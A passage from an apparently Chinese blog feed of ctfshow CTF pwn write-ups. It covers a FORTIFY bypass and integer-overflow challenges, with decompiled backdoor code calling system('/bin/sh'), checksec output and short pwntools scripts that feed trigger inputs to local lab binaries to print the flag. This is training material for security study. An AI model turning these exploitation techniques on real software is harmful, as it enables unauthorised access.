&amp;&amp; !v4) - v3;</span><br><span class="line">    v9 = <span class="number">0</span>;</span><br><span class="line">    v10 = v8 == <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v8 )</span><br><span class="line">    &#123;</span><br><span class="line">      n3 = <span class="number">3</span>;</span><br><span class="line">      p_Fmt = <span class="string">&quot;Fmt&quot;</span>;</span><br><span class="line">      v13 = (<span class="type">const</span> <span class="type">char</span> *)a1;</span><br><span class="line">      <span class="keyword">do</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( !n3 )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        v9 = *v13 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)*p_Fmt;</span><br><span class="line">        v10 = *v13++ == *p_Fmt++;</span><br><span class="line">        --n3;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">while</span> ( v10 );</span><br><span class="line">      <span class="keyword">if</span> ( (!v9 &amp;&amp; !v10) == v9 )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Smart boy!&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> Fmt(<span class="string">&quot;Smart boy!&quot;</span>, v13);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( !<span class="built_in">memcmp</span>(a1, <span class="string">&quot;check&quot;</span>, <span class="number">5u</span>) )</span><br><span class="line">      &#123;</span><br><span class="line">        __printf_chk(<span class="number">1</span>, <span class="string">&quot;%p\n&quot;</span>, a1);</span><br><span class="line">        <span class="keyword">return</span> _chk();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;You are too young to simple!&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Great boy!&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> Stack_Overflow(<span class="string">&quot;Great boy!&quot;</span>, v7);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Good boy!&quot;</span>);</span><br><span class="line">    __printf_chk(<span class="number">1</span>, <span class="string">&quot;%3$#p\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到程序既定的⼀些漏洞在开启此保护后很多函数都被替换成相对安全函数了</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">Fmt</span><span class="params">(__int64 Smart_boy)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> %<span class="number">9</span>$_p_n[<span class="number">10</span>]; <span class="comment">// [rsp+Eh] [rbp-1Ah] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  __read_chk(<span class="number">0</span>, %<span class="number">9</span>$_p_n, <span class="number">20</span>, <span class="number">10</span>);</span><br><span class="line">  __printf_chk(<span class="number">1</span>, %<span class="number">9</span>$_p_n);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>查看⼀下敏感字符串[shift+F12]：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:00000000000013120000000EC/ctfshow_flag</span><br></pre></td></tr></table></figure><p>上⼀题的后⻔函数还在，但是很明显，由于开启了FORTIFY保护</p><p>这条路根本⾛不下来，程序就会异常退出，看到还有⼀个&#x2F;ctfshow_flag⽂件，跟进查看⼀下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 _chk()</span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// rbx</span></span><br><span class="line">  _BYTE buf[<span class="number">9</span>]; <span class="comment">// [rsp+Fh] [rbp-29h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    buf[<span class="number">0</span>] = fgetc(stream);</span><br><span class="line">    <span class="keyword">if</span> ( buf[<span class="number">0</span>] == <span class="number">0xFF</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    write(<span class="number">1</span>, buf, <span class="number">1u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到如果程序⾛到这就会输出flag，理清逻辑，我们不难知道，当输⼊的字符串为“check”时,即可输出flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;check&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Simply bypass it!</span><br><span class="line">    * *************************************</span><br><span class="line">What <span class="keyword">do</span> you want?</span><br><span class="line">check</span><br><span class="line">0x7ffcd3080f50</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">*** invalid %N$ use detected ***</span><br><span class="line">Aborted (core dumped)</span><br></pre></td></tr></table></figure><h2 id="pwn134"><a href="#pwn134" class="headerlink" title="pwn134"></a>pwn134</h2><h6 id="Hint：这一次我站在雨里，连我自己也分不清自己！"><a href="#Hint：这一次我站在雨里，连我自己也分不清自己！" class="headerlink" title="Hint：这一次我站在雨里，连我自己也分不清自己！"></a>Hint：这一次我站在雨里，连我自己也分不清自己！</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开，依旧开启了FORTIFY保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int128 v4; <span class="comment">// [rsp+0h] [rbp-28h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What do you want?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, &amp;v4);</span><br><span class="line">  ctfshow(&amp;v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">ctfshow</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">bool</span> v2; <span class="comment">// dl</span></span><br><span class="line">  <span class="type">bool</span> v3; <span class="comment">// cf</span></span><br><span class="line">  <span class="type">bool</span> v4; <span class="comment">// zf</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *p_Stack; <span class="comment">// rdi</span></span><br><span class="line">  __int64 n5; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v7; <span class="comment">// rsi</span></span><br><span class="line">  <span class="type">char</span> v8; <span class="comment">// dl</span></span><br><span class="line">  <span class="type">bool</span> v9; <span class="comment">// cf</span></span><br><span class="line">  <span class="type">bool</span> v10; <span class="comment">// zf</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *p_Fmt; <span class="comment">// rdi</span></span><br><span class="line">  __int64 n3; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v13; <span class="comment">// rsi</span></span><br><span class="line">  <span class="type">bool</span> v14; <span class="comment">// dl</span></span><br><span class="line">  <span class="type">bool</span> v15; <span class="comment">// cf</span></span><br><span class="line">  <span class="type">bool</span> v16; <span class="comment">// zf</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *p_Exit; <span class="comment">// rdi</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v18; <span class="comment">// rsi</span></span><br><span class="line">  __int64 n4; <span class="comment">// rcx</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="built_in">memcmp</span>(a1, <span class="string">&quot;CTFshow-daniu&quot;</span>, <span class="number">0xDu</span>) != <span class="number">0</span>;</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  v4 = !v2;</span><br><span class="line">  <span class="keyword">if</span> ( v2 )</span><br><span class="line">  &#123;</span><br><span class="line">    p_Stack = <span class="string">&quot;Stack&quot;</span>;</span><br><span class="line">    n5 = <span class="number">5</span>;</span><br><span class="line">    v7 = (<span class="type">const</span> <span class="type">char</span> *)a1;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !n5 )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v3 = *v7 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)*p_Stack;</span><br><span class="line">      v4 = *v7++ == *p_Stack++;</span><br><span class="line">      --n5;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v4 );</span><br><span class="line">    v8 = (!v3 &amp;&amp; !v4) - v3;</span><br><span class="line">    v9 = <span class="number">0</span>;</span><br><span class="line">    v10 = v8 == <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v8 )</span><br><span class="line">    &#123;</span><br><span class="line">      p_Fmt = <span class="string">&quot;Fmt&quot;</span>;</span><br><span class="line">      n3 = <span class="number">3</span>;</span><br><span class="line">      v13 = (<span class="type">const</span> <span class="type">char</span> *)a1;</span><br><span class="line">      <span class="keyword">do</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( !n3 )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        v9 = *v13 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)*p_Fmt;</span><br><span class="line">        v10 = *v13++ == *p_Fmt++;</span><br><span class="line">        --n3;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">while</span> ( v10 );</span><br><span class="line">      <span class="keyword">if</span> ( (!v9 &amp;&amp; !v10) == v9 )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Smart boy!&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> Fmt(<span class="string">&quot;Smart boy!&quot;</span>, v13);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        v14 = <span class="built_in">memcmp</span>(a1, <span class="string">&quot;Quit&quot;</span>, <span class="number">4u</span>) != <span class="number">0</span>;</span><br><span class="line">        v15 = <span class="number">0</span>;</span><br><span class="line">        v16 = !v14;</span><br><span class="line">        <span class="keyword">if</span> ( !v14 )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;See you ~&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        p_Exit = <span class="string">&quot;Exit&quot;</span>;</span><br><span class="line">        v18 = (<span class="type">const</span> <span class="type">char</span> *)a1;</span><br><span class="line">        n4 = <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> ( !n4 )</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">          v15 = *v18 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)*p_Exit;</span><br><span class="line">          v16 = *v18++ == *p_Exit++;</span><br><span class="line">          --n4;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">while</span> ( v16 );</span><br><span class="line">        <span class="keyword">if</span> ( (!v15 &amp;&amp; !v16) == v15 )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;See you again!&quot;</span>);</span><br><span class="line">          <span class="keyword">return</span> daniu(<span class="string">&quot;See you again!&quot;</span>, v18);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;You are too young to simple!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Great boy!&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> Stack_Overflow(<span class="string">&quot;Great boy!&quot;</span>, v7);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Good boy!&quot;</span>);</span><br><span class="line">    __printf_chk(<span class="number">1</span>, <span class="string">&quot;%6$#x\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，逻辑原本挺简单的，但是被弄的⾮常复杂，同样的，存在后⻔函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">d_daniu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// rbx</span></span><br><span class="line">  _BYTE buf[<span class="number">9</span>]; <span class="comment">// [rsp+Fh] [rbp-29h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    buf[<span class="number">0</span>] = fgetc(stream);</span><br><span class="line">    <span class="keyword">if</span> ( buf[<span class="number">0</span>] == <span class="number">0xFF</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    write(<span class="number">1</span>, buf, <span class="number">1u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>只需要捋清楚哪⾥⼀步步调⽤⼀步步跟进就能获取到flag</p><p>其实仅仅只需要输⼊”Exit”然后等待⼏秒即可获得flag了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;Exit&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Simply bypass it!</span><br><span class="line">    * *************************************</span><br><span class="line">What <span class="keyword">do</span> you want?</span><br><span class="line">Exit</span><br><span class="line">See you again!</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;pwn111&quot;&gt;&lt;a href=&quot;#pwn111&quot; class=&quot;headerlink&quot; title=&quot;pwn111&quot;&gt;&lt;/a&gt;pwn111&lt;/h2&gt;&lt;h6 id=&quot;Hint：没难度&quot;&gt;&lt;a href=&quot;#Hint：没难度&quot; class=&quot;headerlink&quot; </summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="7-Bypass安全机制" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/7-Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B6/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>pwn101-110</title>
    <link href="https://rhea006.github.io/2025/08/8ccb06449176.html"/>
    <id>https://rhea006.github.io/2025/08/8ccb06449176.html</id>
    <published>2025-08-17T04:00:00.000Z</published>
    <updated>2025-08-21T01:13:41.725Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pwn101"><a href="#pwn101" class="headerlink" title="pwn101"></a>pwn101</h2><h6 id="Hint：还是简单的知识"><a href="#Hint：还是简单的知识" class="headerlink" title="Hint：还是简单的知识"></a>Hint：还是简单的知识</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>还是64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n0x7FFFFFFF; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe these help you:&quot;</span>);</span><br><span class="line">  useful();</span><br><span class="line">  v4 = <span class="number">0x80000000</span>;</span><br><span class="line">  n0x7FFFFFFF = <span class="number">0x7FFFFFFF</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter two integers: &quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)__isoc99_scanf(<span class="string">&quot;%d %d&quot;</span>, &amp;v4, &amp;n0x7FFFFFFF) == <span class="number">2</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">0x80000000</span> &amp;&amp; n0x7FFFFFFF == <span class="number">0x7FFFFFFF</span> )</span><br><span class="line">      gift();</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;upover = %d, downover = %d\n&quot;</span>, v4, n0x7FFFFFFF);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Error: Invalid input. Please enter two integers.&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个很简单的逻辑，先看到有一个useful函数，然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数，并将它存储在变量v4和v5中，返回值被强制转换为无符号数，然后与2进行比较。满足后进入下一个if语句，不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值，则进入这个条件分支，有一个gift函数。如果输入的两个整数不是初始值，则输出这两个数的值。</p><p>分别跟进几个不知道干啥的函数useful:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">useful</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;           Type         |      Byte      |                          Range                            &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;   unsigned short int   |     2 byte     |                        0~0xffff                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    unsigned int        |     4 byte     |                        0~0xffffffff                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   &quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<strong>0 ~ 0x7fffffff</strong>就是 <strong>0~2147483647</strong> ，</p><p><strong>0x80000000 ~ 0xffffffff</strong>就是 <strong>-2147483648 ~ -1</strong></p><p>gift：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">gift</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;This is the first question of this type&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here is you want:&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么就很简单了只要我们输入的数等于它的初始值满足此条件即可</p><p>输入-2147483648 2147483647</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Integer_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Learn something first !</span><br><span class="line">    * *************************************</span><br><span class="line">Maybe these <span class="built_in">help</span> you:</span><br><span class="line"> ====================================================================================================</span><br><span class="line">           Type         |      Byte      |                          Range</span><br><span class="line"> ====================================================================================================</span><br><span class="line">      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff</span><br><span class="line">   unsigned short int   |     2 byte     |                        0~0xffff</span><br><span class="line">          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff</span><br><span class="line">    unsigned int        |     4 byte     |                        0~0xffffffff</span><br><span class="line">      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff</span><br><span class="line">   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff</span><br><span class="line"> ====================================================================================================</span><br><span class="line">Enter two integers: -2147483648 2147483647</span><br><span class="line">This is the first question of this <span class="built_in">type</span></span><br><span class="line">Here is you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&quot;-2147483648 2147483647&quot;</span> <span class="comment"># 2147483648 2147483647 也可以</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Enter two integers: &quot;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="pwn102"><a href="#pwn102" class="headerlink" title="pwn102"></a>pwn102</h2><h6 id="Hint：还是简单的知识-1"><a href="#Hint：还是简单的知识-1" class="headerlink" title="Hint：还是简单的知识"></a>Hint：还是简单的知识</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>还是64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe these help you:&quot;</span>);</span><br><span class="line">  useful();</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter an unsigned integer: &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%u&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="keyword">if</span> ( v4 == <span class="number">-1</span> )</span><br><span class="line">    gift();</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Number = %u\n&quot;</span>, v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，在保护全开的时候，其实一般程序逻辑都非常简单，这里在IDA中甚至直接告诉我们让v4 &#x3D;</p><p>-1 就会进入gift函数（选中-1按快捷键 ‘H’）：→v4 &#x3D;&#x3D; 0xFFFFFFFF→v4 &#x3D;&#x3D; 4294967295</p><p>这里v4是一个无符号整数，并将其存储在变量v4中，这里可以发现在无符号整数上下文中，-1 对应的二进制表示为 0xFFFFFFFF，也就是 4294967295</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">...</span><br><span class="line">Enter an unsigned <span class="built_in">integer</span>: -1</span><br><span class="line">This is the second question of this <span class="built_in">type</span></span><br><span class="line">Here is you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span 